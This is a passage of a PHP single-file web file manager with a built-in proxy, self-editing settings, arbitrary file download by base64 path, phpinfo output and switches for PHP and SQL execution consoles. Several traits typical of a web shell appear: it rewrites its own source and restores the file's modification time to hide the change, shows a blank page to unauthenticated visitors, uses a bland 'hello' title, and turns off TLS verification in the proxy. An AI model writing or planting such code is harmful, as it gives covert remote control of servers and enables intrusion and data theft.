		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>"hello"</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
